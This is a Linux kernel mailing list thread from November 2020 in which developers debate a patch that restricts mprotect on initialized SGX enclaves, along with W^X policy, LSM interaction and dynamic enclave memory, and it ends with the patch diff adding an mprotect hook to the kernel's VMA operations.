--- a/arch/x86/kernel/cpu/sgx/encl.c
+++ b/arch/x86/kernel/cpu/sgx/encl.c
@@ -270,11 +270,10 @@ static int sgx_vma_mprotect(struct vm_area_struct *vma,
 			    struct vm_area_struct **pprev, unsigned long start,
 			    unsigned long end, unsigned long newflags)
 {
-	int ret;
+	struct sgx_encl *encl = vma->vm_private_data;
 
-	ret = sgx_encl_may_map(vma->vm_private_data, start, end, newflags);
-	if (ret)
-		return ret;
+	if ( test_bit(SGX_ENCL_INITIALIZED, &encl->flags) )
+		return -EACCES;
 
 	return mprotect_fixup(vma, pprev, start, end, newflags);
 }

Dave Hansen Nov. 12, 2020, 9:31 p.m. UTC | #16

On 11/12/20 12:58 PM, Dr. Greg wrote:
> @@ -270,11 +270,10 @@ static int sgx_vma_mprotect(struct vm_area_struct *vma,
>  			    struct vm_area_struct **pprev, unsigned long start,
>  			    unsigned long end, unsigned long newflags)
>  {
> -	int ret;
> +	struct sgx_encl *encl = vma->vm_private_data;
>  
> -	ret = sgx_encl_may_map(vma->vm_private_data, start, end, newflags);
> -	if (ret)
> -		return ret;
> +	if ( test_bit(SGX_ENCL_INITIALIZED, &encl->flags) )
> +		return -EACCES;
>  
>  	return mprotect_fixup(vma, pprev, start, end, newflags);
>  }

This rules out mprotect() on running enclaves.  Does that break any
expectations from enclave authors, or take away capabilities that folks
need?

Andy Lutomirski Nov. 12, 2020, 10:41 p.m. UTC | #17

On Thu, Nov 12, 2020 at 1:31 PM Dave Hansen <[e-mail]> wrote:
>
> On 11/12/20 12:58 PM, Dr. Greg wrote:
> > @@ -270,11 +270,10 @@ static int sgx_vma_mprotect(struct vm_area_struct *vma,
> >                           struct vm_area_struct **pprev, unsigned long start,
> >                           unsigned long end, unsigned long newflags)
> >  {
> > -     int ret;
> > +     struct sgx_encl *encl = vma->vm_private_data;
> >
> > -     ret = sgx_encl_may_map(vma->vm_private_data, start, end, newflags);
> > -     if (ret)
> > -             return ret;
> > +     if ( test_bit(SGX_ENCL_INITIALIZED, &encl->flags) )
> > +             return -EACCES;
> >
> >       return mprotect_fixup(vma, pprev, start, end, newflags);
> >  }
>
> This rules out mprotect() on running enclaves.  Does that break any
> expectations from enclave authors, or take away capabilities that folks
> need?

It certainly prevents any scheme in which an enclave coordinates with
the outside world to do W-and-then-X JIT inside.  I'm also not
convinced it has any real effect at all unless there's some magic I
missed to prevent someone from using mmap(2) to effectively change
permissions.

Everyone, IMO this SGX1 - vs - SGX2 - vs - EDMM discussion is entirely
missing the point and is a waste of everyone's time.  Let's pretend
we're building a system that has nothing to do with SGX and requires
no special hardware support at all.  It works like this:

A user program opens /dev/xyz and gets back an fd that represents 16
MB of memory.  The user program copies some data from disk (or network
or whatever) into fd (using write(2) or ioctl(2) or mmap(2) and
memcpy) and then mmaps some of the fd as R and some as RW and some as
RX, and then the user program jumps into the RX mapping.

If we replace /dev/xyz with /dev/zero, then this simply does not work
under a reasonably strict W^X policy -- a lot of people think it's
quite reasonable for an OS to prevent a user program from obtaining an
X mapping containing anything other than a mapping from a file on
disk.  To solve this, we can do one of at least three things:

a) You can't use /dev/xyz unless you have permission to create WX
memory or to at least create W memory and then change it to X.

b) You can do whatever you want with /dev/xyz, and LSM policies are
blatantly violated as a result.

c) The /dev/xyz API is clever and tracks, page-by-page, whether the
user intends to ever write and/or execute that page, and behaves
accordingly.

This patchset takes the approach (c).  The actual clever policy isn't
here yet, and we don't really know whether it will ever appear, but
the API is set up to enable such a policy to be written.  This appears
to be a win for everyone, since the code is pretty clean and the API
is straightforward.


Now, back to SGX.  There are only two things that are remotely
SGX-specific here.  First, SGX requires this unusual memory model in
which there is an executable mapping of (part of) a device node. [0]
Second, early SGX hardware had this oddity that the kernel could set a
per-backing-page (as opposed to per-PTE) bit to permanently disable X
on a given /dev/sgx page.  Building a security model around that would
have been a hack, and it DOES NOT WORK on new hardware.  So can we
please stop discussing it?  None of the actual interesting parts of
this have much to do with SGX per se and have nothing whatsoever to do
with EDMM or any other Intel buzzword.

Heck, if anyone actually cared to do so, something with essentially
the same semantics could probably be built using SEV hardware instead
of SGX, and it would have exactly the same issue if we wanted it to
work for tasks that didn't have access to /dev/kvm.


[0] SGX doesn't *really* require this.  We could set things up so that
you do mmap(..., MAP_ANONYMOUS, fd, ...) and then somehow introduce
that mapping to SGX.  I think the result would be too disgusting to
seriously consider.

Dr. Greg Nov. 15, 2020, 6:59 p.m. UTC | #18

On Thu, Nov 12, 2020 at 01:31:19PM -0800, Dave Hansen wrote:

Good afternoon to everyone.

> On 11/12/20 12:58 PM, Dr. Greg wrote:
> > @@ -270,11 +270,10 @@ static int sgx_vma_mprotect(struct vm_area_struct *vma,
> >  			    struct vm_area_struct **pprev, unsigned long start,
> >  			    unsigned long end, unsigned long newflags)
> >  {
> > -	int ret;
> > +	struct sgx_encl *encl = vma->vm_private_data;
> >  
> > -	ret = sgx_encl_may_map(vma->vm_private_data, start, end, newflags);
> > -	if (ret)
> > -		return ret;
> > +	if ( test_bit(SGX_ENCL_INITIALIZED, &encl->flags) )
> > +		return -EACCES;
> >  
> >  	return mprotect_fixup(vma, pprev, start, end, newflags);
> >  }

> This rules out mprotect() on running enclaves.  Does that break any
> expectations from enclave authors, or take away capabilities that
> folks need?

As I mentioned an hour or so ago when I posted our updated patch, Sean
and Jarkko have specifically indicated that there is no intention to
support Enclave Dynamic Memory Management (EDMM) at this stage of the
driver.  I believe the intent is to open that can of worms after the
driver is mainlined.

Since the stated intent of the driver is to only implement SGX1
semantics there is no need to allow page permission changes of any
type after the enclave is initialized.  If mmap/mprotect are taken off
the table for an initialized enclave, there is no need to walk the
enclave page permissions since the hardware itself will enforce those
intents.

Runtime support is critical to implementing EDMM.  It seems premature
to place code into the kernel until there is agreement from the
runtime developers as to how page permission intent should be
communicated into the kernel.  Current EDMM implementations simply
allocate a sparse aperture which can be further extended, for example,
to increase heap space or the number of Task Control Structures.

As I've stated previously, there is an open question at this point as
to how useful a mainline driver will be without EDMM support, unless
the distributions or cloud providers are going to patch it in on top
of the mainline driver.  Those players have been copied on all of
these e-mails so I would assume they could/would pipe up with comments
on what type of security architecture should be implemented.

As I've stated before, I believe in the final analysis that the only
relevant question is yes or no with respect to dynamic enclaves.

Have a good remainder of the weekend.

Dr. Greg

As always,
Greg Wettstein, Ph.D, Worker          Autonomously self-defensive
Enjellic Systems Development, LLC     IOT platforms and edge devices.
4206 N. 19th Ave.
Fargo, ND  58102
PH: 701-281-1686                      EMAIL: [e-mail]
------------------------------------------------------------------------------
"If you think nobody cares if you're alive, try missing a couple of car
 payments."
                                -- Earl Wilson

Dr. Greg Nov. 16, 2020, 6 p.m. UTC | #19

On Thu, Nov 12, 2020 at 02:41:00PM -0800, Andy Lutomirski wrote:

Good morning, I hope the week is starting well for everyone.

> On Thu, Nov 12, 2020 at 1:31 PM Dave Hansen <[e-mail]> wrote:
> >
> > On 11/12/20 12:58 PM, Dr. Greg wrote:
> > > @@ -270,11 +270,10 @@ static int sgx_vma_mprotect(struct vm_area_struct *vma,
> > >                           struct vm_area_struct **pprev, unsigned long start,
> > >                           unsigned long end, unsigned long newflags)
> > >  {
> > > -     int ret;
> > > +     struct sgx_encl *encl = vma->vm_private_data;
> > >
> > > -     ret = sgx_encl_may_map(vma->vm_private_data, start, end, newflags);
> > > -     if (ret)
> > > -             return ret;
> > > +     if ( test_bit(SGX_ENCL_INITIALIZED, &encl->flags) )
> > > +             return -EACCES;
> > >
> > >       return mprotect_fixup(vma, pprev, start, end, newflags);
> > >  }
> >
> > This rules out mprotect() on running enclaves.  Does that break any
> > expectations from enclave authors, or take away capabilities that folks
> > need?

> It certainly prevents any scheme in which an enclave coordinates
> with the outside world to do W-and-then-X JIT inside.  I'm also not
> convinced it has any real effect at all unless there's some magic I
> missed to prevent someone from using mmap(2) to effectively change
> permissions.

The patch that I posted yesterday addresses the security issue for
both mmap and mprotect by trapping the permission change request at
the level of the sgx_encl_may_map() function.

With respect to the W-and-then-X JIT issue, the stated purpose of the
driver is to implement basic SGX functionality, which is SGX1
semantics, it has been stated formally for a year by the developers
themselves that they are not entertaining a driver that addresses any
of the issues associated with non-static memory permissions.

As I've noted previously, the hardware itself is capable of enforcing
that after initialization, if mmap/mprotect is blocked on hardware
that supports SGX2 instructions.

> Everyone, IMO this SGX1 - vs - SGX2 - vs - EDMM discussion is
> entirely missing the point and is a waste of everyone's time.  Let's
> pretend we're building a system that has nothing to do with SGX and
> requires no special hardware support at all.  It works like this:

I don't doubt there is a potential bigger vision here, quite frankly
it is probably an open question whether or not SGX is going to be a
part of this future, for a variety of reasons.  I also do not doubt
that you have the skills to define that vision.

Right now, however, the issue is not about pretending but rather one
of getting a driver into the kernel that provides a framework for
building whatever future SGX may have.  Given GKH's comments on LWN
last week in response to the RAPL vulnerability, I'm not sure if it is
a politically done deal that the driver will go in.

SGX has specific hardware characteristics that impact the driver, I
don't see how fitting it into a generic trusted execution model
advances the agenda immediately at hand.  Particularly given the fact
that I'm not even sure people understand the questions that need to be
answered about such a generic model.

> A user program opens /dev/xyz and gets back an fd that represents 16
> MB of memory.  The user program copies some data from disk (or
> network or whatever) into fd (using write(2) or ioctl(2) or mmap(2)
> and memcpy) and then mmaps some of the fd as R and some as RW and
> some as RX, and then the user program jumps into the RX mapping.

This is basically the SGX model in the new driver.  The important
defining characteristic of the driver, that we can't wave away, is
that the hardware requires a specific set of initial page permissions
to be implemented in order for initialization of the memory range
(enclave) to succeed.

This is inherent to the way SGX hardware was designed to work.  The
only difference between SGX1 and SGX2 is that the latter offers a
small number of additional instructions that allow the page
permissions to be dynamically manipulated after initialization is
complete.

From a security perspective, the issue at hand is that the executable
material is not going to come in through the fd, it is going to be
loaded by the enclave over the network.  This isn't fear mongering, it
is the stated intent of what people want to do with the technology as
a integral part of confidential computing.

I've had the opportunity to brief DOD and other entities concerned
with intelligence issues, about these type of potential capabilities.
It isn't hard to envision scenarios of where having potentially
sensitive code and data only ever handled and executed by a trusted
entity, in an environment that is inherently ephemeral with respect to
its persistence, is an important design characteristic.  Thermite has
also been known to play a role in some of these designs prior to the
greater elegance of trusted execution environments.

Ultimately, if you believe the Confidential Computing Consortium, it
is also what people want for their sensitive cloud workloads.  Absent
the thermite of course.

> If we replace /dev/xyz with /dev/zero, then this simply does not work
> under a reasonably strict W^X policy -- a lot of people think it's
> quite reasonable for an OS to prevent a user program from obtaining an
> X mapping containing anything other than a mapping from a file on
> disk.  To solve this, we can do one of at least three things:
> 
> a) You can't use /dev/xyz unless you have permission to create WX
> memory or to at least create W memory and then change it to X.
> 
> b) You can do whatever you want with /dev/xyz, and LSM policies are
> blatantly violated as a result.

I think the important issue at hand is that classic LSM policies
simply are not relevant with respect to how this technology was
designed to operate, and perhaps more importantly, how people want to
use it.

That is why I have consistently stated that I think the only relevant
knob is a binary decision as to whether or not a platform owner wants
to entertain completely anonymous code execution.

> c) The /dev/xyz API is clever and tracks, page-by-page, whether the
> user intends to ever write and/or execute that page, and behaves
> accordingly.
>
> This patchset takes the approach (c).  The actual clever policy
> isn't here yet, and we don't really know whether it will ever
> appear, but the API is set up to enable such a policy to be written.
> This appears to be a win for everyone, since the code is pretty
> clean and the API is straightforward.

I believe I have been clear in stating that I have never doubted the
cleverness of the approach or its potential utility for the future.

The issue at hand is that it simply isn't relevant at this stage of
the driver.  Getting this new vision right is something that would
benefit from a lot of conversations between runtime and kernel
developers.  Arguably, the case can be made that it should have a
second type of implementation to ensure that the approach is generic,
extensible and most importantly secure.

The 'cleverness' of the policy needs to be evaluated in the context of
what does it mean with respect to the risk arbitration decisions that
we are trying to support.  The open question comes down to, in
essence, asking ourselves whether or not we believe that it makes
sense to say that 15 pages of RWX memory is a security threat but 5
are not.

> Now, back to SGX.  There are only two things that are remotely
> SGX-specific here.  First, SGX requires this unusual memory model in
> which there is an executable mapping of (part of) a device node. [0]
> Second, early SGX hardware had this oddity that the kernel could set
> a per-backing-page (as opposed to per-PTE) bit to permanently
> disable X on a given /dev/sgx page.  Building a security model
> around that would have been a hack, and it DOES NOT WORK on new
> hardware.  So can we please stop discussing it?  None of the actual
> interesting parts of this have much to do with SGX per se and have
> nothing whatsoever to do with EDMM or any other Intel buzzword.

Just a clarification for everyone sitting in their recliners eating
popcorn and following along at home.

As I've stated before, I don't argue the potential utility of some new
model, SGX however, has hardware characteristics that cannot be waved
away in this discussion.  The technology was designed to have a
cryptographic measurement that controls whether or not the memory
image is suitable for execution.  The description of that image is
defined by the enclave author when the enclave is signed.

This is why the current EDMM implementation requires that a maximum
aperture range be defined for dynamic memory regions.  Since the
linear address of each page address in the enclave is encoded into the
measurement, enclave initialization will fail unless the loaded memory
image is consistent with the wishes of the enclave signer.  Having 40
pages of potential heap memory when the author called for 39 would be
considered an initialization defect that would be enforced by the
hardware.

The desired page permissions are also encoded into the enclave
measurement.  Since the current implementation takes the maximum
scoped permissions from the security information encoded in the
enclave, it would require that the enclave encode for RWX permissions
if the intent was to dynmically load executable or JIT code after the
enclave was initialized.  If I understand your above analysis
correctly, this would be problematic for current security
models/practices.

Obviously an API could be proposed that allowed this permissable
memory map to be defined independently from the enclave.  This notion,
based on my read of the security risk considerations that went into
the design of SGX, would be problematic, since it would allow an
untrusted party to modify the characteristics that were desired by the
enclave author for the executable image.

> Heck, if anyone actually cared to do so, something with essentially
> the same semantics could probably be built using SEV hardware
> instead of SGX, and it would have exactly the same issue if we
> wanted it to work for tasks that didn't have access to /dev/kvm.

As I noted above, perhaps whatever this driver may become in the
future would benefit from the community creating something like this
as a second reference to build an API on top of.

> [0] SGX doesn't *really* require this.  We could set things up so that
> you do mmap(..., MAP_ANONYMOUS, fd, ...) and then somehow introduce
> that mapping to SGX.  I think the result would be too disgusting to
> seriously consider.

Let me be clear, I certainly would not advocate doing anything too
disgusting to consider.

Hopefully our proposal for simplifying the security model for the
driver, while still allowing the framework for a still unspecified
future pathway, doesn't fit this description.

Best wishes for a productive week to everyone.

Dr. Greg

As always,
Dr. Greg Wettstein, Ph.D, Worker      Autonomously self-defensive
Enjellic Systems Development, LLC     IOT platforms and edge devices.
4206 N. 19th Ave.
Fargo, ND  58102
PH: 701-281-1686                      EMAIL: [e-mail]
------------------------------------------------------------------------------
"Boy, it must not take much to make a phone work.  Looking at
 everthing else here it must be the same way with the INTERNET."
                                -- Francis 'Fritz' Wettstein

Haitao Huang Nov. 19, 2020, 1:39 a.m. UTC | #20

On Mon, 16 Nov 2020 12:00:23 -0600, Dr. Greg <[e-mail]> wrote:

> On Thu, Nov 12, 2020 at 02:41:00PM -0800, Andy Lutomirski wrote:
>
> Good morning, I hope the week is starting well for everyone.
>
>> On Thu, Nov 12, 2020 at 1:31 PM Dave Hansen <[e-mail]>  
>> wrote:
>> >
>> > On 11/12/20 12:58 PM, Dr. Greg wrote:
>> > > @@ -270,11 +270,10 @@ static int sgx_vma_mprotect(struct  
>> vm_area_struct *vma,
>> > >                           struct vm_area_struct **pprev, unsigned  
>> long start,
>> > >                           unsigned long end, unsigned long newflags)
>> > >  {
>> > > -     int ret;
>> > > +     struct sgx_encl *encl = vma->vm_private_data;
>> > >
>> > > -     ret = sgx_encl_may_map(vma->vm_private_data, start, end,  
>> newflags);
>> > > -     if (ret)
>> > > -             return ret;
>> > > +     if ( test_bit(SGX_ENCL_INITIALIZED, &encl->flags) )
>> > > +             return -EACCES;
>> > >
>> > >       return mprotect_fixup(vma, pprev, start, end, newflags);
>> > >  }
>> >
>> > This rules out mprotect() on running enclaves.  Does that break any
>> > expectations from enclave authors, or take away capabilities that  
>> folks
>> > need?
>
>> It certainly prevents any scheme in which an enclave coordinates
>> with the outside world to do W-and-then-X JIT inside.  I'm also not
>> convinced it has any real effect at all unless there's some magic I
>> missed to prevent someone from using mmap(2) to effectively change
>> permissions.
>
> The patch that I posted yesterday addresses the security issue for
> both mmap and mprotect by trapping the permission change request at
> the level of the sgx_encl_may_map() function.
>
> With respect to the W-and-then-X JIT issue, the stated purpose of the
> driver is to implement basic SGX functionality, which is SGX1
> semantics, it has been stated formally for a year by the developers
> themselves that they are not entertaining a driver that addresses any
> of the issues associated with non-static memory permissions.
>

The JIT issue is applicable even to SGX1 platforms. We can do EADD with  
EPCM.RWX in sec_info and with PTE.RW, EINIT, then mprotect to set PTE.RX  
when JIT is done.

Haitao

Dr. Greg Nov. 20, 2020, 5:31 p.m. UTC | #21

On Wed, Nov 18, 2020 at 07:39:50PM -0600, Haitao Huang wrote:

Good morning, I hope the week is ending well for everyone.

> On Mon, 16 Nov 2020 12:00:23 -0600, Dr. Greg <[e-mail]> wrote:
> 
> >On Thu, Nov 12, 2020 at 02:41:00PM -0800, Andy Lutomirski wrote:
> >>It certainly prevents any scheme in which an enclave coordinates
> >>with the outside world to do W-and-then-X JIT inside.  I'm also not
> >>convinced it has any real effect at all unless there's some magic I
> >>missed to prevent someone from using mmap(2) to effectively change
> >>permissions.
> >
> >The patch that I posted yesterday addresses the security issue for
> >both mmap and mprotect by trapping the permission change request at
> >the level of the sgx_encl_may_map() function.
> >
> >With respect to the W-and-then-X JIT issue, the stated purpose of the
> >driver is to implement basic SGX functionality, which is SGX1
> >semantics, it has been stated formally for a year by the developers
> >themselves that they are not entertaining a driver that addresses any
> >of the issues associated with non-static memory permissions.

> The JIT issue is applicable even to SGX1 platforms. We can do EADD
> with EPCM.RWX in sec_info and with PTE.RW, EINIT, then mprotect to
> set PTE.RX when JIT is done.

Correct, which further underscores the point that I am trying make, it
is unclear what the current mmap/mprotect protection architecture is
accomplishing, since it only enforces EPCM permissions.  The hardware
is perfectly capable of doing so without assistance from the operating
system, in fact, the very reason it was designed was to provide
protections in the face of an adversarial operating system.

For precisely one year, as of next week, we have engaged in a
re-design of this driver, driven by the concern that the previous
driver allowed execution of code that bypassed the LSM.  So I'm
assuming the community has concerns about the possibility of anonymous
code execution.  If this is the case, the mmap/mprotect protection
code in the driver should be implementing some type of control over
the execution of anonymous memory, which our patch implements, very
simply and very understandably.

The other straight forward alternative is a knob that tells the driver
to disallow the addition of any page that attempts to set EPCM.XW
permissions.

As always, corrections gladly accepted if our analysis of the driver
or how the hardware itself works is incorrect.

> Haitao

Have a good weekend.

Dr. Greg

As always,
Dr. Greg Wettstein, Ph.D, Worker      Autonomously self-defensive
Enjellic Systems Development, LLC     IOT platforms and edge devices.
4206 N. 19th Ave.
Fargo, ND  58102
PH: 701-281-1686                      EMAIL: [e-mail]
------------------------------------------------------------------------------
"My second remark is that our intellectual powers are rather geared to
 master static relations and that our powers to visualize processes
 evolving in time are relatively poorly developed."
                                -- Edsger W. Dijkstra

Patch

diff --git a/include/linux/mm.h b/include/linux/mm.h
index ef360fe70aaf..eb38eabc5039 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -559,6 +559,9 @@  struct vm_operations_struct {
 	void (*close)(struct vm_area_struct * area);
 	int (*split)(struct vm_area_struct * area, unsigned long addr);
 	int (*mremap)(struct vm_area_struct * area);
+	int (*mprotect)(struct vm_area_struct *vma,
+			struct vm_area_struct **pprev, unsigned long start,
+			unsigned long end, unsigned long newflags);
 	vm_fault_t (*fault)(struct vm_fault *vmf);
 	vm_fault_t (*huge_fault)(struct vm_fault *vmf,
 			enum page_entry_size pe_size);
diff --git a/mm/mprotect.c b/mm/mprotect.c
index 56c02beb6041..1fd4fa71ce16 100644
--- a/mm/mprotect.c
+++ b/mm/mprotect.c
@@ -616,7 +616,10 @@  static int do_mprotect_pkey(unsigned long start, size_t len,
 		tmp = vma->vm_end;
 		if (tmp > end)
 			tmp = end;
-		error = mprotect_fixup(vma, &prev, nstart, tmp, newflags);
+		if (vma->vm_ops && vma->vm_ops->mprotect)
+			error = vma->vm_ops->mprotect(vma, &prev, nstart, tmp, newflags);
+		else
+			error = mprotect_fixup(vma, &prev, nstart, tmp, newflags);
 		if (error)
 			goto out;
 		nstart = tmp;